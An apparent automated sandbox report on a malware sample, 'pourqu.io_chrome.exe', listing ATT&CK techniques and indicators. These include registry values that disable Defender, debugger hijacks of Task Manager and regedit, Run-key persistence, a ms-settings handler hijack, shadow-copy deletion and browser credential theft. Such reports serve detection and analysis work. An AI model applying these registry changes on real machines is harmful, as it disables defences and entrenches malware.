034f416edfa4bef4a64875b54989819f3543a138cb3029b0a7ecf33424f2de72

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	pourqu.io_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	pourqu.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5104	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	pourqu.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	pourqu.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	pourqu.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4440	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\International\Geo\Nation	pourqu.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	pourqu.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	pourqu.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	pourqu.io_chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	pourqu.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	pourqu.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	pourqu.io_chrome.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
336	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	pourqu.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5928	sc.exe
4072	sc.exe
2232	sc.exe
4564	sc.exe
5432	sc.exe
2376	sc.exe
4608	sc.exe
3056	sc.exe
4892	sc.exe
4548	sc.exe
1272	sc.exe
3540	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5504	ipconfig.exe
4312	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2656	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4240	vssadmin.exe
652	vssadmin.exe
4764	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\Desktop\WallpaperStyle = "2"	pourqu.io_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134225911909093122"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	pourqu.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command	pourqu.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell	pourqu.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings	pourqu.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe\" \"%1\""	pourqu.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command\DelegateExecute	pourqu.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	pourqu.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	pourqu.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings	pourqu.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open	pourqu.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command	pourqu.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pourqu.io_chrome.exe"	pourqu.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\.pdf\ = "PDFBotnet"	pourqu.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4892	schtasks.exe
3216	schtasks.exe
1712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5104	powershell.exe
5104	powershell.exe
4476	chrome.exe
4476	chrome.exe
5104	powershell.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe
5360	pourqu.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5360	pourqu.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeIncreaseQuotaPrivilege	4900	WMIC.exe
Token: SeSecurityPrivilege	4900	WMIC.exe
Token: SeTakeOwnershipPrivilege	4900	WMIC.exe
Token: SeLoadDriverPrivilege	4900	WMIC.exe
Token: SeSystemProfilePrivilege	4900	WMIC.exe
Token: SeSystemtimePrivilege	4900	WMIC.exe
Token: SeProfSingleProcessPrivilege	4900	WMIC.exe
Token: SeIncBasePriorityPrivilege	4900	WMIC.exe
Token: SeCreatePagefilePrivilege	4900	WMIC.exe
Token: SeBackupPrivilege	4900	WMIC.exe
Token: SeRestorePrivilege	4900	WMIC.exe
Token: SeShutdownPrivilege	4900	WMIC.exe
Token: SeDebugPrivilege	4900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4900	WMIC.exe
Token: SeRemoteShutdownPrivilege	4900	WMIC.exe
Token: SeUndockPrivilege	4900	WMIC.exe
Token: SeManageVolumePrivilege	4900	WMIC.exe
Token: 33	4900	WMIC.exe
Token: 34	4900	WMIC.exe
Token: 35	4900	WMIC.exe
Token: 36	4900	WMIC.exe
Token: SeBackupPrivilege	5988	vssvc.exe
Token: SeRestorePrivilege	5988	vssvc.exe
Token: SeAuditPrivilege	5988	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4900	WMIC.exe
Token: SeSecurityPrivilege	4900	WMIC.exe
Token: SeTakeOwnershipPrivilege	4900	WMIC.exe
Token: SeLoadDriverPrivilege	4900	WMIC.exe
Token: SeSystemProfilePrivilege	4900	WMIC.exe
Token: SeSystemtimePrivilege	4900	WMIC.exe
Token: SeProfSingleProcessPrivilege	4900	WMIC.exe
Token: SeIncBasePriorityPrivilege	4900	WMIC.exe
Token: SeCreatePagefilePrivilege	4900	WMIC.exe
Token: SeBackupPrivilege	4900	WMIC.exe
Token: SeRestorePrivilege	4900	WMIC.exe
Token: SeShutdownPrivilege	4900	WMIC.exe
Token: SeDebugPrivilege	4900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4900	WMIC.exe
Token: SeRemoteShutdownPrivilege	4900	WMIC.exe
Token: SeUndockPrivilege	4900	WMIC.exe
Token: SeManageVolumePrivilege	4900	WMIC.exe
Token: 33	4900	WMIC.exe
Token: 34	4900	WMIC.exe
Token: 35	4900	WMIC.exe
Token: 36	4900	WMIC.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeDebugPrivilege	5360	pourqu.io_chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeIncBasePriorityPrivilege	5360	pourqu.io_chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeDebugPrivilege	4312	NETSTAT.EXE
Token: SeDebugPrivilege	5748	whoami.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5360	pourqu.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5360 wrote to memory of 4476	5360	pourqu.io_chrome.exe	84
PID 4476 wrote to memory of 3792	4476	chrome.exe	85
PID 5360 wrote to memory of 5104	5360	pourqu.io_chrome.exe	86
PID 5360 wrote to memory of 5432	5360	pourqu.io_chrome.exe	88
PID 5360 wrote to memory of 2376	5360	pourqu.io_chrome.exe	90
PID 5360 wrote to memory of 4608	5360	pourqu.io_chrome.exe	92
PID 5360 wrote to memory of 3540	5360	pourqu.io_chrome.exe	94
PID 5360 wrote to memory of 3056	5360	pourqu.io_chrome.exe	96
PID 5360 wrote to memory of 5928	5360	pourqu.io_chrome.exe	170
PID 5360 wrote to memory of 4072	5360	pourqu.io_chrome.exe	100
PID 5360 wrote to memory of 2232	5360	pourqu.io_chrome.exe	101
PID 5360 wrote to memory of 2624	5360	pourqu.io_chrome.exe	103
PID 5360 wrote to memory of 4892	5360	pourqu.io_chrome.exe	128
PID 5360 wrote to memory of 4548	5360	pourqu.io_chrome.exe	107
PID 5360 wrote to memory of 4764	5360	pourqu.io_chrome.exe	109
PID 5360 wrote to memory of 4900	5360	pourqu.io_chrome.exe	111
PID 4476 wrote to memory of 5236	4476	chrome.exe	113
PID 4476 wrote to memory of 1496	4476	chrome.exe	114
PID 4476 wrote to memory of 1496	4476	chrome.exe	114
PID 4476 wrote to memory of 1088	4476	chrome.exe	115
PID 4476 wrote to memory of 1088	4476	chrome.exe	115
PID 4476 wrote to memory of 5664	4476	chrome.exe	117
PID 4476 wrote to memory of 5664	4476	chrome.exe	117
PID 4476 wrote to memory of 2152	4476	chrome.exe	118
PID 4476 wrote to memory of 2152	4476	chrome.exe	118
PID 4476 wrote to memory of 3640	4476	chrome.exe	119
PID 4476 wrote to memory of 3640	4476	chrome.exe	119
PID 2624 wrote to memory of 1480	2624	fodhelper.exe	120
PID 4476 wrote to memory of 5276	4476	chrome.exe	125
PID 4476 wrote to memory of 5276	4476	chrome.exe	125
PID 5360 wrote to memory of 5100	5360	pourqu.io_chrome.exe	126
PID 5360 wrote to memory of 4892	5360	pourqu.io_chrome.exe	128
PID 5360 wrote to memory of 3216	5360	pourqu.io_chrome.exe	130
PID 5360 wrote to memory of 5148	5360	pourqu.io_chrome.exe	134
PID 5360 wrote to memory of 4328	5360	pourqu.io_chrome.exe	136
PID 5360 wrote to memory of 2504	5360	pourqu.io_chrome.exe	137
